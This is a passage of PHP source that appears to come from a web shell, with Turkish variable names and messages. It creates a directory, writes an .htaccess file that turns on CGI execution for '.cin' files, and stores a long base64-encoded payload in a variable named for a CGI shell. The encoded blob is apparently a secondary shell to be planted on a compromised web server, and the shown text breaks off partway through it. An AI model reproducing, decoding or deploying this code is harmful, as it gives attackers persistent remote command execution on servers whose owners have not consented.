  960. $kokdosya = ".htaccess";
  961. mkdir('An0ncgi', 0755);
  962. chdir('An0ncgi');
  963. $dosya_adi = "$kokdosya";
  964. $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
  965. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  966. AddType application/x-httpd-cgi .cin
  967. AddHandler cgi-script .cin
  968. AddHandler cgi-script .cin";
  969. fwrite($dosya, $metin);
  970. fclose($dosya);
  971. $cgishellizocin = '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